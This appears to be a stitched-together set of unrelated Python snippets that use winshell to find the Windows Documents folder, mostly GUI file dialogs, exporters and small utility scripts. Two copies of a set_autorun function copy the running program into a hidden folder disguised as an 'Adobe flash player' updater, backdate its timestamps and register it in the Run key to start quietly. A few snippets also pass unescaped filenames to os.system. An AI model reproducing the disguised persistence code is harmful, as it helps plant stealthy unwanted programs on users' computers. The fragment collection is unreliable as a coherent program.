def export_response(self,dialog,rid): if rid == gtk.RESPONSE_NONE or rid == gtk.RESPONSE_DELETE_EVENT: dialog.destroy() return table = dialog.vbox.get_children()[0].get_active_text() if sys.platform == 'win32': import winshell folder = winshell.my_documents() + os.path.sep else: folder = os.path.expanduser("~") + os.path.sep name = folder + table + ".nxt" export = [] chartlist = curr.datab.get_chartlist(table) for c in chartlist: id = int(c[0]) chart = curr.newchart() curr.datab.load_chart(table,id,chart) export.append(chart) output = open(name, 'wb') pickle.dump(export,output,-1) output.close() dialog.destroy()
def set_autorun(self): application = sys.argv[0] print(application) start_path = os.path.join(os.path.abspath( os.getcwd()), application) # Получаем местонахождение папки copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player") copy2_app = os.path.join(copy2_path, "Flash player updater.exe") if not os.path.exists(copy2_path): #os.makedirs(copy2_path) win32api.CopyFile( start_path, copy2_app ) # Копируем приложение в папку с незамысловатым названием win32api.SetFileAttributes(copy2_path, 2) # Делаем папку невидимой os.utime(copy2_app, (1282372620, 1282372620)) # Меняем дату создания папки os.utime(copy2_path, (1282372620, 1282372620)) # и программы startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run" key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx( key2change, 'Flash player updater', 0, winreg.REG_SZ, start_path + " --quiet" ) # Добавляем программу в автозагрузку с помощью ключа реестра
def clean_posters_dir(self): if os.name == 'nt' or os.name == 'win32': # default to My Documents import winshell mydocs = winshell.my_documents() griffith_dir = os.path.join(mydocs, 'griffith') else: griffith_dir = os.path.join(os.path.expanduser('~'), \ '.griffith') posters_dir = os.path.join(griffith_dir, "posters") counter = 0 for files in os.walk(posters_dir): for names in files: for name in names: if name.startswith('poster'): # lets check if this poster is orphan used = self.db.count_records('movies', 'image="%s"'%string.replace(name,".jpg","")) if not used: counter += 1 os.unlink(os.path.join(posters_dir, name)) m_file = os.path.join(posters_dir, "m_"+name) if os.path.isfile(m_file): os.unlink(m_file) t_file = os.path.join(posters_dir, "t_"+name) if os.path.isfile(t_file): os.unlink(t_file) if counter: print "%d orphan files cleaned."%counter else: print "No orphan files found."
def simple_batch(table="plagram"): global opts opts = boss.opts w = 1280 h = 1020 if sys.platform == 'win32': import winshell folder = winshell.my_documents() else: folder = os.path.expanduser("~") curr.curr_op = "draw_planetogram" chlist = curr.datab.get_chartlist(table) chart = curr.curr_chart for id, name,sur in chlist: surface = cairo.ImageSurface(cairo.FORMAT_ARGB32,w,h) cr = pangocairo.CairoContext(cairo.Context(surface)) cr.set_source_rgb(1.0,1.0,1.0) cr.rectangle(0,0,w,h) cr.fill() cr.set_line_join(cairo.LINE_JOIN_ROUND) cr.set_line_width(float(opts.base)) dr = DrawMixin(opts,DrawPng()) curr.datab.load_chart(table,id,chart) dr.dispatch_pres(cr,w,h) wname = "_".join([name,sur,"pg"]) filename = ".".join([wname,'png']) filename = os.path.join(folder,filename) #d_name(cr,w,h) surface.write_to_png(filename)
def simple_batch(): w = PDFW h = PDFH name = curr.curr_chart.first.replace(' ','_') if sys.platform == 'win32': import winshell folder = winshell.my_documents() else: folder = os.path.expanduser("~") filename = ".".join([name,'pdf']) filename = os.path.join(folder,filename) surface = cairo.PDFSurface(filename,w,h) surface.set_fallback_resolution(300,300) cr = pangocairo.CairoContext(cairo.Context(surface)) cr.rectangle(0,0,w,h) cr.clip() cr.set_source_rgb(1.0,1.0,1.0) cr.rectangle(0,0,w,h) cr.fill() cr.set_line_join(cairo.LINE_JOIN_ROUND) cr.set_line_width(float(opts.base)) dr = DrawMixin(opts,DrawPdf()) h *= 0.9 DrawPdf.w = w DrawPdf.h = h op = curr.curr_op for sop in singles: curr.curr_op = sop dr.dispatch_pres(cr,w,h) if pdflabels: DrawPdf.d_pdf_labels(cr,w,h) cr.show_page() curr.curr_op = op surface.finish()
def on_filebrowse(self,but,entry,tentry): dialog = gtk.FileChooserDialog("Abrir archivo...", None, gtk.FILE_CHOOSER_ACTION_OPEN, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OPEN, gtk.RESPONSE_OK)) dialog.set_default_response(gtk.RESPONSE_OK) if sys.platform == 'win32': import winshell dialog.set_current_folder(winshell.my_documents()) else: dialog.set_current_folder(os.path.expanduser("~")) filename = None response = dialog.run() if response == gtk.RESPONSE_OK: filename = dialog.get_filename() entry.set_text(filename) name = os.path.basename(os.path.splitext(filename)[0]) tentry.set_text(name) elif response == gtk.RESPONSE_CANCEL: pass dialog.destroy() return
def on_browse_but(but, entry): dialog = gtk.FileChooserDialog( "Abrir archivo...", None, gtk.FILE_CHOOSER_ACTION_OPEN, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OPEN, gtk.RESPONSE_OK), ) dialog.set_default_response(gtk.RESPONSE_OK) filter = gtk.FileFilter() filter.set_name(_("Archivo AAF")) filter.add_mime_type("text/plain") filter.add_pattern("*.aaf") dialog.add_filter(filter) if sys.platform == "win32": import winshell dialog.set_current_folder(winshell.my_documents()) else: dialog.set_current_folder(os.path.expanduser("~")) filename = None response = dialog.run() if response == gtk.RESPONSE_OK: filename = dialog.get_filename() elif response == gtk.RESPONSE_CANCEL: pass dialog.destroy() if filename is not None and filename != "": entry.set_text(filename) return
def on_menuitem_activate(self,menuitem): if menuitem.child.get_text() == _('Exportar carta'): widget = MainPanel.pool[self.wname] MainPanel.slot_activate(widget) chart = curr.charts[self.chart_id] if sys.platform == 'win32': import winshell folder = winshell.my_documents() + os.path.sep else: folder = os.path.expanduser("~") + os.path.sep name = "_".join((chart.first,chart.last)).strip().replace(" ","_") name = folder + name + ".nx1" file = open(name,'w') file.write(chart.__repr__()) file.close() else: dialog = gtk.FileChooserDialog(_("Importar carta"), None, gtk.FILE_CHOOSER_ACTION_OPEN, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OPEN, gtk.RESPONSE_OK)) dialog.set_default_response(gtk.RESPONSE_OK) if sys.platform == 'win32': import winshell dialog.set_current_folder(winshell.my_documents()) else: dialog.set_current_folder(os.path.expanduser("~")) dialog.set_show_hidden(False) response = dialog.run() if response == gtk.RESPONSE_OK: filename = dialog.get_filename() data = open(filename.decode('utf8')).read().split(",") chart = curr.charts[self.wname] try: curr.load_import(chart,data) MainPanel.actualize_pool(self.wname,chart) except: msg = _('Error importando carta') dialog = gtk.MessageDialog(None, gtk.DIALOG_MODAL, gtk.MESSAGE_ERROR, gtk.BUTTONS_OK, msg); result = dialog.run() dialog.destroy() elif response == gtk.RESPONSE_CANCEL: pass dialog.destroy()
def VipsSetup(): ParentDirectory = os.path.join(winshell.my_documents(), "HelperScripts") os.makedirs(ParentDirectory, exist_ok=True) LibDirectory = os.path.join(ParentDirectory, "lib", "vips") os.makedirs(ParentDirectory, exist_ok=True) vipshome = os.path.join(LibDirectory, "bin") os.environ['PATH'] = vipshome + ';' + os.environ['PATH']
def pdf_export(self): dialog = gtk.FileChooserDialog(_("Guardar..."), None, gtk.FILE_CHOOSER_ACTION_SAVE, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_SAVE, gtk.RESPONSE_OK)) dialog.set_default_response(gtk.RESPONSE_OK) filter = gtk.FileFilter() filter.set_name(_("Documento Pdf ")) filter.add_mime_type("application/pdf") filter.add_pattern("*.pdf") dialog.add_filter(filter) name = curr.curr_chart.first + "_" + "pg.pdf" dialog.set_current_name(name) if sys.platform == 'win32': import winshell dialog.set_current_folder(winshell.my_documents()) else: dialog.set_current_folder(os.path.expanduser("~")) dialog.set_do_overwrite_confirmation(True) filename = None response = dialog.run() if response == gtk.RESPONSE_OK: filename = dialog.get_filename() elif response == gtk.RESPONSE_CANCEL: pass dialog.destroy() if not filename: return w = PDFH h = PDFW surface = cairo.PDFSurface(filename,w,h) surface.set_fallback_resolution(300,300) cr = pangocairo.CairoContext(cairo.Context(surface)) cr.rectangle(0,0,w,h) cr.clip() cr.set_source_rgb(1.0,1.0,1.0) cr.rectangle(0,0,w,h) cr.fill() cr.set_line_join(cairo.LINE_JOIN_ROUND) cr.set_line_width(float(self.opts.base)) dr = PgMixin(self.boss,self) dr.dispatch_simple(cr,w,h) cr.show_page() surface.finish() if sys.platform == 'win32': os.startfile(filename) else: os.system("%s '%s' &" % (self.opts.pdfviewer,filename))
def setup(self): print 'Setting up environment' root = 'data' if not os.path.exists(root): os.makedirs(root) dbfile = os.path.join(root, 'data.db') engine = create_engine('sqlite:///%s' % dbfile, echo=True, module=sqlite) Session.configure(autoflush=True, autocommit=False, bind=engine) if not os.path.exists(dbfile): session = Session() model.Base.metadata.create_all(session.bind) session.add(model.Pref(enum.PREF_KEYS.IMG_DIR, winshell.my_documents())) session.add(model.Pref(enum.PREF_KEYS.STARTUP, 'False')) session.add(model.Pref(enum.PREF_KEYS.PERIOD, enum.PERIOD.EVERY_LOG_IN)) session.commit() self.facade.sendNotification(AppFacade.DATABASE_READY)
def pg_table_batch(table="plagram"): w = PDFH h = PDFW if sys.platform == 'win32': import winshell folder = winshell.my_documents() else: folder = os.path.expanduser("~") curr.curr_op = "draw_planetogram" chlist = curr.datab.get_chartlist(table) chart = curr.curr_chart DrawPdf.shadow = True DrawPdf.personlines = False DrawPdf.turnpoints = True DrawPdf.crosspoints = True DrawPdf.useagecircle = False DrawPdf.extended = False class Da(object): class E(object): def get_showAP(self): return False def __init__(self): self.drawer = Da.E() boss.da = Da() for id, name,sur in chlist: wname = "_".join([name,sur,"pg"]) filename = ".".join([wname,'pdf']) filename = os.path.join(folder,filename) surface = cairo.PDFSurface(filename,w,h) surface.set_fallback_resolution(300,300) cr = pangocairo.CairoContext(cairo.Context(surface)) cr.set_source_rgb(1.0,1.0,1.0) cr.rectangle(0,0,w,h) cr.fill() cr.set_line_join(cairo.LINE_JOIN_ROUND) cr.set_line_width(float(opts.base)) dr = PgMixin(boss,DrawPdf()) DrawPdf.w = w DrawPdf.h = h curr.datab.load_chart(table,id,chart) dr.dispatch_simple(cr,w,h) cr.show_page() surface.finish()
def __init__(self,pg=False): gtk.Dialog.__init__(self, _("Exportar como imagen"), None, gtk.DIALOG_DESTROY_WITH_PARENT, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_SAVE, gtk.RESPONSE_OK)) self.vbox.set_border_width(3) self.vbox.set_spacing(6) self.vbox.pack_start(self.make_control(),False,False) self.vbox.pack_start(gtk.HSeparator(),True,True) chooser = gtk.FileChooserWidget(action=gtk.FILE_CHOOSER_ACTION_SAVE) self.vbox.pack_start(chooser,False,False) self.chooser = chooser self.chooser.set_size_request(600,400) self.set_default_response(gtk.RESPONSE_OK) filter = gtk.FileFilter() filter.add_mime_type("image/png") filter.add_mime_type("image/jpeg") #filter.add_mime_type("image/tiff") filter.set_name(_("Imagen")) self.chooser.add_filter(filter) if pg: name = curr.curr_chart.first + "_" + curr.curr_chart.last + "_pg" else: name = curr.curr_chart.first + "_" + suffixes[curr.curr_op] ext = self.typefile_chooser.get_active_text() self.chooser.set_current_name(name+"."+ext) if sys.platform == 'win32': import winshell self.chooser.set_current_folder(winshell.my_documents()) else: self.chooser.set_current_folder(os.path.expanduser("~")) self.chooser.set_do_overwrite_confirmation(True) self.show_all()
def clicked(boss): dialog = gtk.FileChooserDialog(_("Guardar..."), None, gtk.FILE_CHOOSER_ACTION_SAVE, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_SAVE, gtk.RESPONSE_OK)) dialog.set_default_response(gtk.RESPONSE_OK) filter = gtk.FileFilter() filter.set_name(_("Documento Pdf ")) filter.add_mime_type("application/pdf") filter.add_pattern("*.pdf") dialog.add_filter(filter) name = DrawPdf.format_name() dialog.set_current_name(name) if sys.platform == 'win32': import winshell dialog.set_current_folder(winshell.my_documents()) else: dialog.set_current_folder(os.path.expanduser("~")) dialog.set_do_overwrite_confirmation(True) filename = None response = dialog.run() if response == gtk.RESPONSE_OK: filename = dialog.get_filename() elif response == gtk.RESPONSE_CANCEL: pass dialog.destroy() if not filename: return surface = DrawPdf.dispatch(filename) surface.finish() if sys.platform == 'win32': os.startfile(filename) else: os.system("%s '%s' &" % (opts.pdfviewer,filename))
def set_autorun(self): application = sys.argv[0] print(application) start_path = os.path.join(os.path.abspath(os.getcwd()), application) copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player") copy2_app = os.path.join(copy2_path, "Flash player updater.exe") if not os.path.exists(copy2_path): os.makedirs(copy2_path) win32api.CopyFile(start_path, copy2_app) win32api.SetFileAttributes(copy2_path, 2) os.utime(copy2_app, (1282372620, 1282372620)) os.utime(copy2_path, (1282372620, 1282372620)) startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run" key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key2change, 'Flash player updater', 0, winreg.REG_SZ, start_path + " --quiet")
f"Width: {ImageSize[0]}, Height: {ImageSize[1]}\n" f"Smallest Value: {Smallest}\n" f"Difference: {Difference}\n" f"h: {h}, w: {w}\nNew Area: {NewArea}\n") """Now that we have 'squared off' the image and resaved it, we shall resize it to 5x5cm ready for report inclusion""" # CroppedImage is the new 'squared off' image NewImage = CroppedImage.resize([190, 190], Image.ANTIALIAS) NewImage.save(SaveLocation) #Set-up for logging, includes time information and log file location LogFolder = os.path.join(winshell.my_documents(), "HelperScripts\logs") LogLocation = os.path.join(LogFolder, "ReportPhotos.log") try: now = time.strftime("%c") os.makedirs(LogFolder, exist_ok=True) logging.basicConfig(filename=LogLocation, level=logging.INFO) logging.info('\nDate and Time:\n' + now + '\n-------------------------------\n') except Exception as e: logging.critical("\n-------------------------------\n" "Error with the set-up of the logging function" f"Error: {e}" "\n-------------------------------\n" "Sys.exit(1), try/except block line 22"
def __init__(self, parent, ID, title, size=wx.DefaultSize, pos=wx.DefaultPosition, style=wx.DEFAULT_DIALOG_STYLE): pre = wx.PreDialog() pre.SetExtraStyle(wx.DIALOG_EX_CONTEXTHELP) pre.Create(parent, ID, title, pos, size, style) self.this = pre.this sizer = wx.BoxSizer(wx.VERTICAL) self.il = wx.ImageList(32, 32) self.idx1 = self.il.Add( wx.Bitmap(get_image_path("bike.png"), wx.BITMAP_TYPE_PNG)) self.idx1 = self.il.Add( wx.Bitmap(get_image_path("drum.png"), wx.BITMAP_TYPE_PNG)) self.idx1 = self.il.Add( wx.Bitmap(get_image_path("isidoor.xpm"), wx.BITMAP_TYPE_XPM)) self.list = wx.ListCtrl(self, wx.NewId(), size=wx.Size(400, 120), style=wx.LC_ICON | wx.SUNKEN_BORDER | wx.LC_NO_HEADER) self.list.SetImageList(self.il, wx.IMAGE_LIST_NORMAL) sizer.Add(self.list, 2, wx.ALL | wx.GROW, 5) index = 0 self.templates = [] for plugin in wx.GetApp().frame.plugins: if hasattr(plugin, "get_new_templates"): for templ in plugin.get_new_templates(): self.list.InsertImageStringItem(index, templ[0], index) self.templates.append((plugin, templ)) index = index + 1 wx.EVT_LIST_ITEM_SELECTED(self.list, self.list.GetId(), self.on_change_selection) self.description = wx.TextCtrl(self, wx.NewId(), style=wx.TE_MULTILINE | wx.TE_READONLY, size=(100, 60)) sizer.Add(self.description, 0, wx.GROW | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) label = wx.StaticText(self, -1, _("Name :")) label.SetHelpText(_("The full name of your game")) box.Add(label, 0, wx.GROW | wx.ALL, 2) self.name = wx.TextCtrl(self, -1, "", size=(80, -1)) self.name.SetHelpText(_("The full name of your game")) wx.EVT_KILL_FOCUS(self.name, self.on_kill_focus) box.Add(self.name, 1, wx.GROW | wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) label = wx.StaticText(self, -1, _("Short name :")) label.SetHelpText(_("Will be used to name files")) box.Add(label, 0, wx.GROW | wx.ALL, 2) self.normname = IdentifierCtrl(self, -1, "", size=(80, -1)) self.normname.SetHelpText(_("Will be used to name files")) box.Add(self.normname, 1, wx.GROW | wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) import wx.lib.filebrowsebutton as filebrowse self.dbb = filebrowse.DirBrowseButton(self, -1, changeCallback=self.dbbCallback) import os if os.name == "nt": import winshell self.folder = winshell.my_documents() else: self.folder = os.path.expanduser('~') self.dbb.SetValue(self.folder) box.Add(self.dbb, 2, wx.GROW | wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 3) line = wx.StaticLine(self, -1, size=(20, -1), style=wx.LI_HORIZONTAL) sizer.Add(line, 0, wx.GROW | wx.ALIGN_CENTER_VERTICAL | wx.RIGHT | wx.TOP, 5) box = wx.StdDialogButtonSizer() if wx.Platform != "__WXMSW__": btn = wx.ContextHelpButton(self) box.Add(btn, 0, wx.ALIGN_CENTRE | wx.ALL, 5) btn = wx.Button(self, wx.ID_OK, _("Ok")) btn.SetDefault() box.Add(btn, 0, wx.ALIGN_CENTRE | wx.ALL, 5) wx.EVT_BUTTON(self, wx.ID_OK, self.OnOK) btn = wx.Button(self, wx.ID_CANCEL, _("Cancel")) box.Add(btn, 0, wx.ALIGN_CENTRE | wx.ALL, 5) sizer.Add( box, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 10) item = self.list.GetNextItem(-1, wx.LIST_NEXT_ALL) if item != -1: self.list.SetItemState(item, -1, wx.LIST_STATE_SELECTED) self.SetSizer(sizer) self.SetAutoLayout(True) sizer.Fit(self)
# the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA # You may use and distribute this software under the terms of the # GNU General Public License, version 2 or later # this only for backward compatibility import os import sys import gdebug if os.name == 'nt' or os.name == 'win32': # default to My Documents import winshell mydocs = winshell.my_documents() griffith_dir = os.path.join(mydocs, 'griffith') else: griffith_dir = os.path.join(os.path.expanduser('~'), \ '.griffith')
def __init__( self, parent, ID, title, size=wx.DefaultSize, pos=wx.DefaultPosition, style=wx.DEFAULT_DIALOG_STYLE ): pre = wx.PreDialog() pre.SetExtraStyle(wx.DIALOG_EX_CONTEXTHELP) pre.Create(parent, ID, title, pos, size, style) self.this = pre.this sizer = wx.BoxSizer(wx.VERTICAL) self.il = wx.ImageList(32, 32) self.idx1 = self.il.Add(wx.Bitmap(get_image_path("bike.png"), wx.BITMAP_TYPE_PNG)) self.idx1 = self.il.Add(wx.Bitmap(get_image_path("drum.png"), wx.BITMAP_TYPE_PNG)) self.idx1 = self.il.Add(wx.Bitmap(get_image_path("isidoor.xpm"), wx.BITMAP_TYPE_XPM)) self.list = wx.ListCtrl(self, wx.NewId(), size = wx.Size(400, 120), style = wx.LC_ICON | wx.SUNKEN_BORDER | wx.LC_NO_HEADER) self.list.SetImageList(self.il, wx.IMAGE_LIST_NORMAL) sizer.Add(self.list, 2, wx.ALL|wx.GROW, 5) index = 0 self.templates = [] for plugin in wx.GetApp().frame.plugins: if hasattr(plugin, "get_new_templates"): for templ in plugin.get_new_templates(): self.list.InsertImageStringItem(index, templ[0], index) self.templates.append( (plugin, templ) ) index = index + 1 wx.EVT_LIST_ITEM_SELECTED(self.list, self.list.GetId(), self.on_change_selection) self.description = wx.TextCtrl(self, wx.NewId(), style = wx.TE_MULTILINE | wx.TE_READONLY, size=(100, 60)) sizer.Add(self.description, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) label = wx.StaticText(self, -1, _("Name :")) label.SetHelpText(_("The full name of your game")) box.Add(label, 0, wx.GROW|wx.ALL, 2) self.name = wx.TextCtrl(self, -1, "", size=(80,-1)) self.name.SetHelpText(_("The full name of your game")) wx.EVT_KILL_FOCUS(self.name, self.on_kill_focus) box.Add(self.name, 1, wx.GROW|wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) label = wx.StaticText(self, -1, _("Short name :")) label.SetHelpText(_("Will be used to name files")) box.Add(label, 0, wx.GROW|wx.ALL, 2) self.normname = IdentifierCtrl(self, -1, "", size=(80,-1)) self.normname.SetHelpText(_("Will be used to name files")) box.Add(self.normname, 1, wx.GROW|wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 3) box = wx.BoxSizer(wx.HORIZONTAL) import wx.lib.filebrowsebutton as filebrowse self.dbb = filebrowse.DirBrowseButton(self, -1, changeCallback = self.dbbCallback) import os if os.name == "nt": import winshell self.folder = winshell.my_documents () else: self.folder = os.path.expanduser('~') self.dbb.SetValue(self.folder) box.Add(self.dbb, 2, wx.GROW|wx.ALL, 2) sizer.AddSizer(box, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 3) line = wx.StaticLine(self, -1, size=(20,-1), style=wx.LI_HORIZONTAL) sizer.Add(line, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.RIGHT|wx.TOP, 5) box = wx.StdDialogButtonSizer() if wx.Platform != "__WXMSW__": btn = wx.ContextHelpButton(self) box.Add(btn, 0, wx.ALIGN_CENTRE|wx.ALL, 5) btn = wx.Button(self, wx.ID_OK, _("Ok")) btn.SetDefault() box.Add(btn, 0, wx.ALIGN_CENTRE|wx.ALL, 5) wx.EVT_BUTTON(self, wx.ID_OK, self.OnOK) btn = wx.Button(self, wx.ID_CANCEL, _("Cancel")) box.Add(btn, 0, wx.ALIGN_CENTRE|wx.ALL, 5) sizer.Add(box, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER_VERTICAL | wx.ALL, 10) item = self.list.GetNextItem(-1, wx.LIST_NEXT_ALL) if item != -1: self.list.SetItemState(item, -1, wx.LIST_STATE_SELECTED) self.SetSizer(sizer) self.SetAutoLayout(True) sizer.Fit(self)
def __init__(self): # Only a few colors defined. Hard to find more that will # stand out. If there are more functions, colors will cycle # from the start. # colors were taken mostly from http://latexcolor.com/ self.color = ['#4F81BD', # blue '#C0504D', # red '#9BBB59', # green '#8064A2', # purple '#F79646', # orange '#00B7EB', # cyan '#3B444B', # charcoal '#F0E130', # yellow '#DE5D83', # pink (blush) '#B87333', # copper '#0047AB', # cobalt '#614051', # eggplant ] # filenames to save to/open from and export to self.filename = None self.export_filename = None # create a FunctionGraph object self.fg = FunctionGraph() # we need this to keep track if the file has changed since # last save self.changed = False # we'll need this for panning self.mousebutton_press = None # Load GUI from glade file builder = gtk.Builder() builder.add_from_file(os.path.join(here, 'functionplot.glade')) # # Main Window # self.window = builder.get_object('functionplot') # on win32 just maximize the window. _NetWORKAREA # doesn't work anyway if win32: self.window.maximize() else: # on non-win32 systems, get the size of the # working area (if supported by the window # manager) and set the window dimensions to # 80% of that try: w = gtk.gdk.get_default_root_window() p = gtk.gdk.atom_intern('_NET_WORKAREA') workarea_width, workarea_height = \ w.property_get(p)[2][2:4] width = int(workarea_width * 0.8) height = int(workarea_height * 0.8) except TypeError: width = 700 height = 500 self.window.set_default_size(width, height) # menus self.imagemenuitem_quit = \ builder.get_object('imagemenuitem_quit') self.checkmenuitem_function_intersections = builder.\ get_object('checkmenuitem_function_intersections') self.checkmenuitem_x_intercepts = \ builder.get_object('checkmenuitem_x_intercepts') self.checkmenuitem_y_intercepts = \ builder.get_object('checkmenuitem_y_intercepts') self.checkmenuitem_extrema = \ builder.get_object('checkmenuitem_extrema') self.checkmenuitem_inflection = \ builder.get_object('checkmenuitem_inflection') self.checkmenuitem_vertical_asym = \ builder.get_object('checkmenuitem_vertical_asym') self.checkmenuitem_horizontal_asym = \ builder.get_object('checkmenuitem_horizontal_asym') self.checkmenuitem_slope45 = \ builder.get_object('checkmenuitem_slope45') self.checkmenuitem_outliers = \ builder.get_object('checkmenuitem_outliers') self.checkmenuitem_show_poi = \ builder.get_object('checkmenuitem_show_poi') self.checkmenuitem_grouped = \ builder.get_object('checkmenuitem_grouped') self.checkmenuitem_legend = \ builder.get_object('checkmenuitem_legend') self.menuitem_legend_upper_left = \ builder.get_object('menuitem_legend_upper_left') self.menuitem_legend_upper_right = \ builder.get_object('menuitem_legend_upper_right') self.menuitem_legend_lower_left = \ builder.get_object('menuitem_legend_lower_left') self.menuitem_legend_lower_right = \ builder.get_object('menuitem_legend_lower_right') self.checkmenuitem_logscale = \ builder.get_object('checkmenuitem_logscale') # main toolbar self.btn_auto = builder.get_object('btn_auto') # restore state of GUI widgets self._restore_state() # graph in main window self.table = builder.get_object('table_graph') self.fig = Figure(facecolor='w', tight_layout=True) self.ax = self.fig.add_subplot(111) self.canvas = FigureCanvas(self.fig) self.table.attach(self.canvas, 0, 1, 0, 1) # function list self.ls_functions = \ builder.get_object('liststore_functions') self.ls_functions.clear() self.treeview_functions = \ builder.get_object('treeview_functions') self.cr_toggle_visible = \ builder.get_object('cr_toggle_visible') # catch mouse wheel scroll self.canvas.mpl_connect('scroll_event', self.wheel_zoom) # catch click and pan self.canvas.mpl_connect('button_press_event', self.pan_press) self.canvas.mpl_connect('button_release_event', self.pan_release) self.canvas.mpl_connect('motion_notify_event', self.pan_motion) self.graph_update() # # file open/save dialogs # self.fcdialog_open = \ builder.get_object('filechooserdialog_open') self.fcdialog_save = \ builder.get_object('filechooserdialog_save') filefilter = gtk.FileFilter() filefilter.set_name(_('FunctionPlot files')) filefilter.add_pattern('*.functionplot') filefilter.add_pattern('*.FUNCTIONPLOT') self.fcdialog_open.add_filter(filefilter) self.fcdialog_save.add_filter(filefilter) self.dialog_file_open_error = \ builder.get_object('dialog_file_open_error') self.label_open_error = \ builder.get_object('label_open_error') self.dialog_file_save_error = \ builder.get_object('dialog_file_save_error') # use the "My documents" dir in windows if win32: self.folder = winshell.my_documents() else: self.folder = os.path.expanduser("~") # overwrite dialog self.dialog_overwrite = \ builder.get_object('dialog_overwrite') self.label_overwrite = builder.get_object('label_overwrite') # confirm open dialog self.dialog_confirm_open = \ builder.get_object('dialog_confirm_open') # confirm new dialog self.dialog_confirm_new = \ builder.get_object('dialog_confirm_new') # confirm quit dialog self.dialog_confirm_quit = \ builder.get_object('dialog_confirm_quit') # export dialogs self.fcdialog_export = \ builder.get_object('filechooserdialog_export') exportfilter = gtk.FileFilter() exportfilter.set_name(_('PNG image files')) exportfilter.add_pattern('*.png') exportfilter.add_pattern('*.PNG') self.fcdialog_export.add_filter(exportfilter) self.dialog_export_overwrite = \ builder.get_object('dialog_export_overwrite') self.dialog_file_export_error = \ builder.get_object('dialog_file_export_error') # # Add function dialog # self.dialog_add_function = \ builder.get_object('dialog_add_function') self.entry_function = builder.get_object('entry_function') self.dialog_add_error = \ builder.get_object('dialog_add_error') # Calculating... window self.window_calculating = \ builder.get_object('window_calculating') # About dialog self.aboutdialog = \ builder.get_object('aboutdialog') self.logo = gtk.gdk.pixbuf_new_from_file('img/functionplot.png') self.aboutdialog.set_logo(self.logo) # Connect all signals builder.connect_signals(self) self.window.show_all()
import os, winshell import sys from win32com.client import Dispatch a = winshell.my_documents() myArg = sys.argv if len(myArg) > 1: showList = ''.join(sys.argv[-1]) else: showList = [ "Cosmos", "Dynasties", "From The Earth", "Rick And Morty", "Seven Worlds", "The Outsider", "The Planets", "Westworld" ] folderPath = 'C:/Users/berke/Documents/Shortcuts/' def createBat(folderPath, show): filePath = folderPath + show + '.bat' f = open(filePath, 'w') f.writelines('nircmd.exe setsysvolume 65535') f.writelines('\nnircmd.exe setbrightness 100 1') f.writelines('\npy C:/Users/berke/PycharmProjects/cortanaSeries/main.py ' + "\"" + show + "\"") # f.writelines('\npy C:/Users/berke/PycharmProjects/cortanaSeries/main.py %s%s%s' %["\"", show, "\""]) f.close() path = os.path.join( "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Cortana Commands", show + ".lnk") target = r"C:\Users\berke\Documents\Shortcuts/" + show + '.bat'
Log number of cups 'o tea over time """ # Import modules import datetime import time import sys import argparse import os import sqlite3 import configparser import winshell """ Set up configuration file. """ ParentDirectory = os.path.join(winshell.my_documents(), "HelperScripts") path = os.path.join(ParentDirectory, "Config", "BrewConfig.ini") def createConfig(path): txt = input("Enter the proposed location of the teabase.db file: ") config = configparser.ConfigParser() config['DIRECTORIES'] = {'workingDir': txt} config['DIMENSIONS'] = {'diameter': 0.075, 'depth': 0.085} config['VOLUMES'] = {'milkVolume': 10} with open(path, "w") as config_file: config.write(config_file) print("Updated Configuration, closing") time.sleep(1)
